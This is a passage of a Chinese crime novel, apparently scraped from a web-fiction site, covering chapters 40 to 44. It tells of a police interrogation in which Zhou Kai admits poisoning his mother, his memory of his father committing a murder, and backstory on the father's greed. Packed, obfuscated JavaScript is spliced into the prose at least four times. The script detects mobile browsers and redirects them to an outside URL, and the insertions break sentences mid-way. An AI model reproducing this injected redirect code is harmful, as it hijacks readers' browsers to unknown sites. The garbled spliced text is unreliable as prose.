“对,就是这个药材。我还纳闷,凭我爸和我妈的关系,他为什么要亲自给她买药熬药,直到我妈第一次误服过量生附子中毒,我才意识到——” “你妈妈第二次中毒是你搞的鬼。”白杨打断他,眼里是十足的确信。 周凯轻蔑一笑,“是又怎么样?我被讨债的人打成那副模样,她有钱却不给我,我吓唬吓唬她,让她吃吃苦头有什么问题?啊?你说!有什么问题!” 此刻周凯像个被困的疯兽,面目狰狞,好像感受不到疼痛一般,用手臂用力地撞向椅子,发出咣咣的声音。 班青本来在电脑上敲着字,却突然停下来,目光直勾勾地锁住周凯。 “不对,你不是想要吓唬你妈妈,你是真的想杀了她。” 班青凌厉的目光看得周凯头皮发麻,他觉得自己被她的眸光锁住了,快要无所遁形。 “你妈妈第一次中毒时,你无意之间发现了生附子的秘密。生附子既然是你爸爸下的,你就不会有嫌疑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186599|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能抓住这个机会把你妈妈除掉,早日顺利地拿到你家的钱。” 周凯的慌乱显而易见,他仍然辩驳:“我没有!你们这段时间正盯着我家,我为什么要横生枝节在这个时候杀掉她?” “因为放高利贷的不会等你,你急于拿到钱。此外,你也害怕你妈妈会提供对你不利的证词,说出你赌博借债的秘密,害怕我们下一个怀疑的就是你,所以你想如法炮制,直接让你妈妈永远闭嘴。 “但是你妈妈运气实在好,两次都脱险。你没了办法,干脆跟我们举报她出轨,将我们侦查方向往她身上引,但我们没有如你所愿。” 周琳正是在第二次中毒入院后不久,才突然决定自首。 而她第二次住院时的表情也很不对劲,班青猜测她应该是通过中毒的事情以及一些别的线索,猜到了周凯和汪明远的死有关系。 所以,这个在儿子老师和邻居眼里对她儿子根本不在意,冷情冷心,只爱钱财和名声的母亲,在意识到儿子可能犯罪了之后,毅然决然地决心为了她的孩子顶罪。 哪怕她很有可能已经猜到自己的儿子想要杀她。 周凯见对方已经猜了个八九不离十,愤怒和难堪占据了他的脑子,他冷笑一声:“呵,是又怎么样?她反正不在乎我!” “既然你觉得她不在乎你,干脆别要她帮你还高利贷好了?其实你心里很清楚她到底爱不爱你,只不过周围人都觉得她母性淡泊,你就利用了这个借口,向她索取,向她精神施压。 “面对向你讨债的人,你摇尾乞怜,就算被打得鼻青脸肿,也不敢说上一个‘不’字。面对你爸爸,你厌恶他对你的控制,暗中跟他较劲,但是明面上仍然对他言听计从。 “因为你在乎他对你的评价,就算是沾了赌博和高利贷,也不敢告诉他,只敢像你那所谓一点不在乎你的妈妈求助。 “你不过是觉得她有一个母亲的身份,天然应当为了孩子献祭自己,所以道德绑架她而已。周凯,你可真会挑人欺负。” 周凯眼里一下子就像淬了毒药,阴厉狠辣,死死抓住班青。 他并不辩驳,也没有借口可以辩驳,只是不服气地看着班青,大口大口地喘气,想用他怨毒的眼神将对方的话逼回去。 “好了,我们继续。”白杨见状,急忙结束这个话题。 今天好不容易才攻破了周凯的心理防线,要是他崩溃了,下次再开口可不知道要等到什么时候。 班青被他眼睛里十足的怨毒惹得难受,她不明白为什么这个男生会如此怨恨他的母亲,但她选择重新回到审讯上来。 难得的,白杨和班青害怕的情况并没有发生。 房间里盈满了周凯不可忽视的呼吸声,在他剧烈地喘息几声之后,双方的博弈继续。 “你从你妈妈那里拿钱无望,又无意之中听到了你父母的计划,就想来一出‘螳螂捕蝉,黄雀在后’的把戏。 “等到他们在水泥厂按照计划行事的时候,你再突然出现,拿住他们的把柄,从而威胁他们给你钱,对不对?14号的晚上……到底发生了什么?” 41.有其父必有其子 周凯早已心灰意冷,面无表情地回忆着当晚的情景,像个彻彻底底的旁观者,回忆着一件与他无关的旧事。 “那天晚上,我从高速路下车后就翻入路边的林子里,捡最不起眼的小路走,一路走到了城南的厂区附近。 “那一片早就荒废,不太可能有什么摄像头,所以进入那片园区后我就安全了。但是我不知道巢河两岸有没有摄像头,保险起见,我决定换身儿衣服。” 废弃园区里的确没什么监控,当晚案发现场附近,除了水泥厂门前的那一个,就只有远处还有一个。但前者早就废弃不用,后者则是第一个发现火灾的村民安装的,为了防止别人偷鱼。 不过周凯的确猜对了,巢河两岸的确因为巡河等装有摄像头,但是几个月前的一场特大暴雨和大风使得设备大量损坏。 因为关图县的某些经济问题,设备损坏之后相关部门暂时没来得及修,结果没想到就在这个期间发生了命案,这也是为什么白杨他们只能掌握到十分有限的视频证据。 不过也没办法,最后这堆破事儿只能砸到警察手里,打碎了牙往肚子里咽。 周凯无神的双眼渐渐聚焦,抬眼看了看白杨和班青,见他们没有反应,自嘲道:“也是,你们不都找到我那身衣裳了吗。” “我换完衣服之后,又在厂区躲了一阵,等时间差不多了就往水泥厂走。我害怕正面碰上他们,找了个窗户翻了进去,里面却空无一人。 “既没有威胁我爸的人,也没看到我爸妈。我疑心有变故,正打算走,这时候……我爸妈连拖带拽地弄进来一个人。” “看清楚了吗?是谁?” 周凯摇了摇头,“没有,太远了。那晚有点月光,只能大概看到个人影。看不清男女,只看到他身形很瘦。” “然后呢?” “然后……我爸弄醒了他,问他到底是谁让他来的。那时候我爸非常失控,像是疯了一样,我从来没有见过他那副模样。 “那人不知道为什么,一个字不说,到最后我爸着魔一般打他、踹他,他嘴里发出呜呜的声音……没过多久,我爸杀了他。” 周凯默默闭上眼睛,他还能想到当晚汪明远癫狂的模样。那是他二十多年没见过的另一面,如此陌生,如此可怕,让他不敢相信那人竟然是自己温温柔柔、好像除了和母亲吵架外从来不会生气的父亲。 汪明远压抑着的咆哮,那人喉头传出的痛苦闷哼,周琳惊恐的尖叫,利刃刺穿皮肉的噗嗤声,鲜血从创口喷溅随即洒落在地的声音,双脚剧烈蹬地、而后又逐渐减弱的绝望无声…… 声声混杂,声声交错,此起彼伏,在他心里激起千层浪。 正是那人临死前的闷哼和咬牙的呜呜声,才让他终于确信:那是个男人,一个年纪比他要大一些的男人。 他必定为人子女,很大概率也已经为人父母,但周凯不能确定。 他看到男子像被扑杀的猎物一样被拖进水泥厂,而后像垃圾一样被他的父母狠狠掼在地上,紧接着是汪明远愤怒失控的询问,伴随着周琳害怕的尖叫。 “你为什么会知道耿攀的事?是谁告诉你的?是不是他让你来的?”回应汪明远的是男子坚定的沉默。 十几分钟的殴打之后,刀子扎透皮肤,鲜血喷溅,形成一道抛物线,男子绝望地抽动几下便逐渐没了声息。 伴随着男子轰然倒塌在地的冰冷尸体的,还有汪明远在他心中的形象,虽然他早就清楚,他的父母此行就是为了杀人。 那个从小对他关怀备至,为父为师,长久以来总是围着他转的慈父,此刻化身为一个无情的杀手。 汪明远杀掉了别人的儿子,也‘杀掉’了自己的儿子。 从下午动身出发起,一路上,周凯时不时地总想原路返回,甚至到翻窗入厂的刹那,当发现水泥厂里一个人也没有的时候,他心中也是暗暗的庆幸。 他不想亲眼看见汪明远凶煞的另一面,也不想汪明远看见他狼狈卑鄙的一面,所以他想逃离。 他想着,只要他离开了,汪明远就还是个好脾气的人民教师,而他也是亲戚朋友嘴里的“别人家的孩子”,他们都要如此光鲜而虚伪地活着。 正在他乱七八糟想着的时候,突然,一道尖利的刮擦声传入他的耳朵,一下又一下,发出无比凄厉的声音,提醒着他,让他的踯躅随着窗外的微风飘散。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205388|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>是那男人正在用他最后的力气,无助痛苦地用指甲抠着水泥地。 他两只瘦的只裹着一层皮的手不甘心地妄图抓住水泥地,好像这样就能抓住一线生机,不过,徒劳而已。 指甲摩擦在地板上的声音刺耳无比,惹人心烦,好像在跟不远处树梢上的蝉鸣声打擂台,惹得汪明远更是抓狂。 汪明远已经五十多岁了,虽说有常年晨跑锻炼的习惯,但到底岁数不小,体力不济,制服并杀掉一个正值壮年的男人已经消耗了他大半的力气。 他气喘吁吁地坐在那男人的旁边,正在等待恢复力气。听到男人指甲的声音,汪明远不再作歇息,擦了擦额头上的汗水就抓起男子的两只手,将他往暗处拖动。 周凯听到皮肉摩擦着地板的声音持续了很久,然后就是“咣当”一声,回声久久地回荡在空旷的厂房中。 没过多久,汪明远回来了。 自从见了血红的刀子后,周琳就被吓得全身止不住地颤抖,她双手放在身侧,攥着衣裳的布料,像抓到一根救命的绳索。 她恐惧地看着那男人刚才躺过的地方,那里留下来一地的鲜血。鲜血渗透入布满灰尘的水泥地中,形成一滩深色的痕迹,正散发出温热、如同铁锈一般的味道。 周琳愣在原地,脑海中一片空白,低头看向那摊血迹的视线里突然出现一双运动鞋。她抖动着,顺着鞋子抬头一看,原来是抛尸的汪明远回来了,眼睛里有她看不太懂的狠厉和警告。 在看到汪明远的眼神后,她咽了咽口水,蓦地放开了攥紧的衣裳,将手背到身后,紧紧握成一个拳头,握到双手快没了力气才突然张开。 她好像突然看懂了。 转过身的汪明远没能看到周琳突然冷峻的眼神,和她眼中一闪而过的凶狠。 她周琳……才是自己唯一的救命绳索。 她收回眼神,又胡乱抹了一把脸,开始按照先前的计划布置下半场戏。 而在这几十分钟内,周凯就隐藏在暗处看着这一切。 他心中的某个地方轰然倒塌,但是另一个地方又随之建立。 有其父必有其子。 他再也不会迟疑。 42.认罪 “你爸的那身血衣怎么来的?”班青适时地打断周凯的回忆。 “他用那把刀在身上割了几个口子,然后让我妈把衣服带走。” 汪明远自己动的手,跟周琳交代的一致。 但是……蔡小新他们那日从排污管道中发现的两把刀子,上面提取到的血液并没有交叉…… 班青和白杨默契地对视一眼,两人心照不宣地没抓着这一点。 周凯继续回忆,“之后……之后就按照我爸的计划,我妈带走血衣,走之前用绳子把我爸绑在了一个柱子上。不过中间发生了一个不怎么愉快的小插曲。” “什么小插曲?”白杨皱眉。 “我爸发现了。” “发现什么?” “他发现我妈真的把他绑得死死的,他挣脱不开,就大声质问我妈到底想要做什么。我亲耳听到,我妈说,她厌倦了跟他生活的这几十年,也痛恨极了跟他生下我,所以她要结束这一切。” 周凯说到最后已经泣不成声,他想要压抑自己抑制不住宣泄而出的情感,想要在两个陌生人面前隐藏起自己脆弱的一面,但是想到那日周琳提到他时的嫌恶,他实在是控制不住。 “给,你先擦擦眼泪吧,别哭了。”班青眼中满是怜悯,她不知道什么时候走了过来,站到周凯的身旁,递给他一张纸巾。 周凯感到有一只轻柔的手,像是年少时候哄睡自己时的触感一样,轻拍在他肩膀上。 这样的温柔和暖意让他心头大恸,不知想起了什么,他接过纸巾,将脸埋在里面,发出闷闷的声音,而后就只能看到他的肩膀不住地颤抖。 白杨的脸隐藏在昏暗的光线之中,看不到他的神情。 于是,安静的审讯室里就只有周凯闷声地低泣声久久飘荡。 白杨的耐心向来十分有限,他也不是个喜欢男人哭的性格,就在他的耐心快要消磨殆尽的时候,周凯停了声。 “对……对不起,打扰你们的工作了。”尾音中还带着很重的哭腔,但是好歹能完整说出话来了。 白杨随口应付:“没事。” “我妈说完之后,我爸感受到了危险,他很害怕,却不张口祈求,而是带着一种傲慢的语气,还以为他能掌控人一样,大骂我妈是蠢人。 “……所以我妈受些了刺激,捡起地上的刀子,胡乱向他捅了几刀。” 周凯吸了吸鼻子,用袖子擦干脸上不知道什么时候流下的泪水。 他的耳朵和脖子因为情绪一直压抑而变得通红,声音也变得断断续续。 “我那时候更害怕了,我……我想跑出去阻止我妈,但是我的双腿一直在抽搐,我使不上来力气。我太害怕,嘴里也发不出声音。等我恢复以后,我再抬头一看,我妈已经走了,只留下我爸奄奄一息地瘫坐在地上。我真的好后悔……” 周凯的眼泪大颗大颗地砸在他胸襟,吸鼻子的声音也越来越沉闷。 “那把刀在哪儿?” 周凯抬起头,小声道:“我妈离开之前去了我爸抛尸的方向,应该……应该和那人的尸体丢到了一个地方。” 班青挑了挑眉头,继续问他:“然后呢,你怎么做的?” 周凯的声音更加断断续续。 “我恢复力气之后,赶紧从角落里跑出来救我爸。但我慌得七手八脚,飞奔到他身边的时候,他靠着柱子,看着出气多,进气少。我知道错了,我大声喊他的名字,但是他连眼睛都睁不开,脑袋歪在一旁,没过多久就没了气。” 班青不经意地瞟了一眼旁边的白杨,他听得很是认真。 白杨:“之后……你就走了?” 周凯叙述的声音已经变成了委屈的呜咽。 “我爸断气之后,我越想越害怕。我本来只是想趁此机会要点钱,没想到竟然会发生这样的事情。 “我本来应该在安城,14号晚上却出现在关图县,我爸正好又在那晚上死了,无论如何,就算我长了八张嘴也说不清楚。 “出了水泥厂之后,我不敢往厂区外走,到处都是摄像头,我又能去哪里?所以我在离水泥厂不远的烂尾楼里待了两天。” 周凯抹了抹眼泪,语气更加弱小和委屈,隐隐能听出几分后悔。 “为了混淆视线,我的手机被我放在安城的家里,所以我什么消息都不知道。但越是未知,越是让人感到恐惧。 “有时候,我感觉会东窗事发,毕竟你们已经开始找我了解情况。有时候,我又觉得事情会像我爸计划的那样,你们只会怀疑是那个男的杀掉了他。有时候,我又会回想,现场会不会留下我的DNA,比如我的头发,蚊子咬我留下的血迹…… “我想了很多很多,16号晚上我实在受不了了,就在烂尾楼里找到些汽油,回到现场,一把火点燃了所有,我只想把我存在过那里的痕迹全部抹去……” 周凯终于交代完了,好像紧绷多日的弦终于断开,他再也不愿压抑自己的情绪,捂住脑袋,双肩不停地颤抖着,痛哭流涕。 “得,认认真真听了半天,还以为那小子终于说实话,结果还跟咱们这儿绕圈。” 白杨越说越生气,连带着觉着碗里的饭菜也越来越难吃,“啪”一声,把筷子重重地搁在不锈钢餐盘子里。 “什么东西啊,这都是些啥?这些饭菜是人能做出来的吗?越改进越难吃!食堂师傅趁早别干了,跟我换一下工作得了!”白杨说着,从嘴里吐出来一个夹在米饭里的小石子。 “我的哥,你倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209492|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想得挺美。”蔡小新嗤笑一声,用咀嚼硬纸板的力度费力嚼着嘴里的饭菜,一嘴含糊,“人家师傅又不傻,又苦又累又挨骂,谁乐意跟咱们换?” 班青一脸疲惫,有气无力,“我还想着,早点结案了跟许姝规划十一去哪儿玩,按照现在这进度来看,十一别想出去了。” “青姐,我觉着啊,咱们可能元旦都别想出去玩儿了。”梁斌津津有味地吃着,捏着筷子的手一顿,“也有可能明年五一都出不去。” 他是四个人当中最不挑食的,也最善良,哪怕厨师把青菜炒牛肉做成了青菜炒鞋垫儿,他也能面不改色地吃下去,还能善解人意地夸食堂师傅好手艺。 “去!闭上你的乌鸦嘴!”三人异口同声地说道。 “不过我还真觉得这案子够复杂,说不定明年五一真的……”蔡小新话音未落,班青和白杨就直勾勾地盯着他,吓得他差点一口噎住。 蔡小新话锋一转,“说不定咱们再加把劲,十一就能结案了。我觉得行,咱们可以的,fighting!” 除了倒霉,见风使舵、察言观色是蔡小新最显著的第二个特点。 “话说青啊,你那在关图中学教书的朋友,现在咋不给你送点加餐来了?”白杨秉承着不浪费的原则,又捡起餐盘里的筷子,费力地跟盘子中剩下的饭菜作斗争。 班青夹了一片皮蛋黄瓜汤里的黄瓜,含糊道:“她最近太忙了,没有时间。本来带高三毕业班就累,因为汪明远的事情,班上有好多事情需要接手,更腾不出手。” “嘎嘣!”黄瓜压根没熟,估计就放进汤里面洗了一下。 因为饭菜太难吃,也可能是受到案子的影响,四个人这顿午饭吃得味同嚼蜡,不到半个小时就吃完了。 四个人刚走到单位门口,班青和白杨就看到一个熟悉的人。 来人拿着一个笔记本,背着手,正在目不转睛地看公告栏上的宣传海报。 白杨走向他,轻轻拍了拍对方的背,用不太确定的语气试探地问道:“李前辈?” 后者转过身来,见到是白杨和班青,黝黑的脸上一下子就带了几分笑意。 “嘿,我才来没多久,估计这个点儿你们正在吃饭,不好给你们打电话,就在这儿等你们,结果你们这么快就吃完了。” “没办法,食堂的饭菜没办法吃不快……”白杨讪讪地摸摸头。 此时的他不像平时在梁斌和蔡小新面前那样,故作老成,面对这个年长他快二十岁的前辈,不自觉地就露出几分愣头青的呆愣来。 “什么?”白杨越说声音越小,说到最后李江涛什么也没听到。 “没什么!走吧,李前辈,咱们先进去坐。”班青走在最前面,引着李江涛往里走。 43.犹豫 事情若是能像大多数夫妻息事宁人一样,也只能算作汪明远和妻子的一场矛盾,充其量,不过让汪明远的内心添上更多的烦闷。 可汪明远的转机在这个时候来了,在棉纺厂的工人们闹得热火朝天的时候。 第二批下岗名单出来之后,棉纺厂工人的“起义”再没有消停,甚至还有妻子之前的同事找到汪明远家里,试图劝她也参与他们的行动。 最开始的行动地点只在棉纺厂,讨要说法的对象也只限于棉纺厂的领导。 之后,在“有心人”的撺掇之下,行动地点扩展到了大街上,甚至有不可收拾的趋势。 而讨要说法的对象同样也扩展了,不论上面来了谁都得被讨伐一番,而此时,周厂长已经躲了起来。 工人队伍的中间,不知道什么时候混入了些地痞流氓,他们明面上跟着讨要说法的工人队伍,暗地里却开始□□,有偷车的,有抢钱的……状况层出不穷。 警察们早就认识其中的几个地痞流氓,也查清楚了混在其中的“有心人”,为了避免工人们被他们利用,当即抓捕了他们,使得这股浪潮很快平息了下来。 可工人正义地为了自己的利益发声,却给了蠹虫们机会,他们趁着工人们分心的时候,完成了所有的程序。 等到工人们泄了气,认了命地去领安置费的时候,却被告知:钱不见了。 厂里的蠹虫们沆瀣一气,早就趁着工人们不曾察觉的时候,将这笔钱尽数转移,连蠹虫的肉身也一并消失。 所以,汪明远这段时间的烦心事又多了一件,因为他的家教工作没有了,雇主周厂长早已消失,连女学生和她的母亲也一并不见。 工厂倒闭的浪潮弥漫整个关图县,下岗了的工人三五成团聚在街上,正是焦躁的时候,一言不合就可能导致一场打架,连累得汪明远上下班的路上也生出许多波澜。 诸事不顺!诸事不顺! 汪明远空前的烦躁,相比之下,同妻子的矛盾也成了小事。 正在这个时候,一个陌生的男子找上了汪明远的家门。 男子告诉他,自己是周厂长派来的。 汪明远起初还有些半信半疑,等对方带着他到了一个粮店的后屋,见到久违的周厂长时,他不得不信了。 眼前的中年男人已经消失了许久,几乎整个关图县的人都在找他,因为一个空穴来风的传言。 有人自称内部人士,据他透露,工人们的安置费实际上早已经发了下来,到了棉纺厂的账上,却被这位看似公正的周厂长贪墨去了。 不然,他为什么突然失踪,连家人也一并销声匿迹? 传言并非虚假,但周厂长知道,这只是半真半假。 的确,他周维海是拿了钱,这不假!但层层盘剥,到了他手里的还能有多少?怕是连十之一二也没有! 可那群蠹虫却乐得清闲,把他们自己摘得一干二净,一个个高风亮节,只害得他像个过街老鼠,人人喊打! 但他周维海又能怎么办? 那些人他一个都得罪不起,只能担了所有的罪名,打碎了牙,和着鲜血,尽数囫囵往嘴里咽。 名声臭了,前途也没了。 妻子本就为了在他身上赌一个未来,老丈人也愿意在他身上下注。 这会儿看他如同丧家之犬,哪怕认识省城里的人,也不愿意为他疏通,索性直接扔了他这颗弃子。毕竟女婿可以随便换,何必引火上身,连累他自己跟着被泼脏水? 是啊,反正妻子也年轻,可以再找,何必跟着他担风险? 更何况……他的情况已经是回天乏术。 不过幸好,幸好他周维海做了两手准备,刚结婚没多久就认识了另一个“妻子”,还和她有了个女儿。 周维海盯着汪明远看,看他只是略有震惊,眼里没有丝毫不认可,甚至带了一丝狂热,当下心中就有了数。 很好,既然是同一类人,事情就更好办了。 汪明远走出粮店的时候,仍然久久停留在恍惚之中。 凭着他的直觉和悟性,周维海三言两语,他就明白了。 关图县的冬天快来了,虽说比不上北方动辄零下几十度的寒冷,但这里的冬天也很不好过。 而今年因为各种因素倒闭的,不只有棉纺厂一家,关图县另有好些工厂都关停了。这些工厂经过整合,虽然也留有一部分工人,但大多数人还是得另谋出路。 劳动市场上一下子就多出几千人,关图县只是安城下的一个小县城,如何容纳得下这些多出来的劳动人口? 更何况安城人自古以来就民风剽悍,脾气火爆,最见不得腌臜和不公。 他们找不到工作,吃不起饭,安置费还被人偷走了,没有钱买煤炭买柴火,这个冬天还怎么过? 那些个蠹虫呢,吃香喝辣,穿金戴银。 两相对比之下,如何不惹人生气?如何不心生怨怼? 几千人的怨念便好像拧成了一股粗如拇指的麻绳,悬吊在周维海的眼前,时时刻刻就能要了他的狗命! 事情远不止此。 之前周维海能趁着工人分心的时候隐匿起来,全是凭着他老丈人的照拂。 同他断了关系之后,所有人都知道护着他的罩子撤了,那些人暗中施计,所有的脏水都泼到他身上,他便成了偷了所有安置费的罪人。 谣言愈演愈劣,更是传言他身上带了一大笔钱,以至于人人馋涎欲滴,视他为待宰的大肥羊! 所以周维海觉察到了无限的危机,他认定自己穷途末路,为今之计就是把钱财留给他的女儿:周琳。 但是周琳年纪还小,心智不成熟,怎么才能保住这笔钱? 周维海突然想到了女儿的家庭教师,汪明远。 选他没有特殊的原因,一是女儿曾经表达过对他的好感,二是他早就看出汪明远是个贪财之人,这种人必然不会将手里的钱轻易交出去,哪怕这钱财来路不正。 周维海甚至做了最坏的打算,要是这人拿了钱翻脸不认人,反将他的女儿踢出局,那他就让几个亲信放出消息,让他汪明远也处于待宰羔羊的处境。 到时候,那些想着趁机发一笔横财的人,自然会将他啃得连骨头也不剩。 汪明远就这样,站在周维海的贼船前头,对方刻意设计、精心挑选,向他伸出了手。 但汪明远迟迟没有同样伸出手来,因为他还在犹豫。 与虎谋皮,稍有不慎,就是粉身碎骨。 先别说周维海是否可靠,要是周琳和他的关系被关图县的人知道了,到时候自己再同她搅和在一起,怕是小命难保。 何况,他要是上了贼船,必然就要娶周琳,那妻子和孩子又该怎么办? 汪明远从河阴村这个小地方,一步步走到今天,其中种种不易和曲折,只有他最知道。 一步走错,步步走错。 穷人一个错误的选择,就是致命的打击。 所以虽然面对巨额的财富,汪明远还是犹豫了。 不过周维海没有给他太多考虑的时间,只有三天,三天定贫富,三天搏前程。 但说来凑巧,正在此时,冥冥之中命运从他身后推着他,迫使他做出了选择。 “登东皋以舒啸,临清流而赋诗。” 这是他受挫之后,暗暗对自己的期待,旨在日日提醒自己,摒弃对名利的欲望,从今之后只和家人过平凡人的日子就好。 不过他虽然这样想,却到底没有根本地放在心上。 树欲静,风不止,可他这棵树也没真正想静下来。 所以周维海面对工人声讨时,一个看似能呼风唤雨的姿态,就能搅得他心神不宁;周琳这个蠢人凭借一个私生女的身份,就能让他装出来的淡泊原形毕露。 所以,与其说是命运捉弄他,从他身后轻轻一推,倒不如说,是他根本渴望命运能站在他身后,同他一道做出那个选择。 此刻,命运站在了他身后。 见了周维海的第二日,汪明远故作镇定地照常去学校上课。 一个平日里同他来往不多的同事,在他下了课之后,莫名地把他叫到角落处。 汪明远起初还觉得有些奇怪,听完对方的话语后,随即大怒起来。 “哎呀,汪老师你先别生气,我也是听别人讲的,信息不保真。”同事见他攥紧了拳头,身体隐隐有些发颤,害怕他出事,赶紧安慰道。 “如果这消息是真的,你也别往心里去,不是你的错!只是啊,有些人见不得人好,怕你抢了他的位置!” 同事偷偷瞥了一眼坐在角落的年级主任,他就是当初半路杀出来的程咬金。 自他挤掉汪明远的升职之路后,横竖对后者看不顺眼。 才德不配,就容易心生疑窦,所以这次汪明远又无端遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而事情还不算完,彻底帮他做出选择的,是他的一个学生。 未必是真在乎学生的前程,但他们的成绩是汪明远能往上爬的唯一手段,是他为数不多的凭借,所以他对学生的要求极高极严。 那时的学生大多数单纯、听话,视老师的话为圣旨,家长也不多事,只要孩子能有成绩,什么都好说。 只除了那一个学生。 第二日,一个学生上课睡觉,还发出震天的呼噜声,所以被汪明远喊起来罚站。 在家里娇生惯养的“小皇帝”,睡得迷迷瞪瞪,一睁眼就被全班同学的几十双眼睛围观。 看笑话、幸灾乐祸、嘲笑、讽刺……总之,众人都等着他落在学校要求最严格的老师手里,给繁重无趣的生活一点别样的点缀。 “小皇帝”登时觉得丢尽了脸面,他站起来之后,恶从心头起,怒向胆边生,当着全班同学的面,猛地甩了汪明远一记响亮的耳光,打得他不敢置信地愣怔在原地。 被看笑话的对象一下子转移,学生们满眼期待,等着一场新的大战爆发。 只是看笑话,只是袖手旁观,只是事不关己高高挂起。 没有人关心无端挨打的汪老师,从头到尾只有他一个人,念书的时候是,工作的时候还是。 事情仍不算完。 那“小皇帝”绝不饶人,哪怕没理。于是当天下午他叫来了家长,同他一道找新校长理论。 家长身份如何,汪明远不甚清楚,只是当他看到新校长对着两名家长点头哈腰,一如他昨日对校长的时候,他就很清楚了,学校绝对不会站在自己这边。 恍惚之中,新校长的脸和中专女教师的脸,重合了。 两人都有些胖胖的,戴着一副黑色的眼睛,看着善良可爱,有着相当的亲和力。 平日里对他汪明远嘘寒问暖、关怀备至,略施小惠就能哄得他鞍前马后、义不容辞,也总会在关键时候把他像垃圾一样踢开,露出最怨毒的鄙夷。 事情的最后,当天晚些时候,汪明远在教室里当着全部学生的面,因为他粗鲁的教学方式,低头欠身,给学生道歉,也给学生家长道歉。 而他白白挨的一记耳光,无人在意。 一阵迷茫之中,他听到了潜意识传来的声音,那是周维海两日前对他说的话:三日为期,你要是决定了,就来这里找我。 潜意识的欲望和他目前的处境不能相容。 最初,它们每碰撞到一起,便发出轰鸣尖锐的声响,接着传递到他四肢百骸,让他头皮发麻;渐渐地,他们却好像齿轮,合在一块儿,再也没有噪音,再也没有惊惧,只剩下金属咬合在一起的规律节拍…… 汪明远做出了选择。 44.犹豫 两天之后,汪明远从粮店的后门走了出来。 此时已经是夜里十点,天上一轮皎洁的明月高高挂着,月光照在汪明远的脸上,让他的脸色看不分明,也让人分辨不清楚,此刻已经做出选择的他到底是怎样的心境。 可是凑近再看,他垂在身体两侧的双手却即刻出卖了他。 他在发抖。 不是害怕,不是担心,也不是惊魂未定。 而是兴奋,一种足以打通他封闭二十余年的任督二脉的兴奋,一种足以将他和不堪的过往立刻切割的兴奋。 他感到一种前所未有的舒畅和痛快。 汪明远颤抖着在粮店后门立了一阵,终于遏制住因为过于兴奋而不断颤抖的双手,他紧紧地攥住了拳头。 脑海中浮现过父亲因笃定他考不上中专而面带讥笑的脸,浮现过带着黑色眼镜的中年女老师恣意羞辱他的场景,浮现过给他许诺却让他次次希望落空的老校长,浮现过收了他的钱还看不上他的新校长,浮现过他弯腰向家长道歉时在底下坐着看他笑话的学生们…… 汪明远身侧的两只手攥得越发紧,好像要将这些人的脸和血肉一并捏碎在他的手心里,任由他们哀嚎着、叫嚷着、祈求着,也一定要将他们狠狠地撕碎! 无论如何,这些人应该要给他汪明远赔罪的。 所有这些人,有一个算一个,通通是罪人! 汪明远的脸色隐藏在月光之中,拳头越攥越紧,攥到脖子上青筋根根暴起,可他面上却仍旧平静。 一刻钟之后,汪明远沿着河边小路慢悠悠地走着,彻底离开了粮店。 短短的时间内,他已经彻底从酣畅淋漓的情绪中清醒过来:乾坤未定,一切尚有变数。 根据周维海的安排,安置费的事情他不用操心,只需对方安排筹划一番,等到时机妥当,他只管收钱便好。 但是仍然有神通广大的周维海也不能替他处理的事情:他的妻子和孩子。 舍弃家庭,是他能够登上周维海贼船的条件,如此才能和周琳结婚,才能表达出他余生彻底和周家紧紧栓在一起的诚意。 只是这个为数不多的条件,却让汪明远极为头疼。 他对妻子没有轰轰烈烈的感情,但是她平淡如水的温婉性子已然润物细无声地滋养了他多年的生活,和她相处似乎早已成为他多年来的习惯。 更让他头疼的,是他们两人的孩子。 如果说他汪明远这辈子对不起父母兄弟妻子,无论对他怎样的控诉、怎样的指责,他都认,但他唯一不能认的是觉得他对不起孩子。 这是他捧在心尖尖上疼爱的小人儿,他看着他的孩子逐渐长开皱巴巴的红色小脸,跌跌撞撞地走向他,瞪着葡萄大的眼睛讷讷地看着他发呆,不哭也不闹。 当初他的小人儿闻着炉子里的地瓜香气,一步一摇地走向炽热的火炉,他怕得心里止不住发颤,半点也没犹豫,扔了地瓜飞扑过去,替她当了灾难,还在手背上留下一道可怖的疤痕。 如今难道要舍弃这一切吗? 他的孩子会不会怨恨他? 就像每次不让再多吃一颗糖那样,他的小人儿总是转过身子背对他,红着鼻子掉金豆子,也不发出半点声音,只是偶尔抖动几下肩膀无声地哭着。 如果舍弃了这一切,小家伙怕是那样恨他千百倍不止。 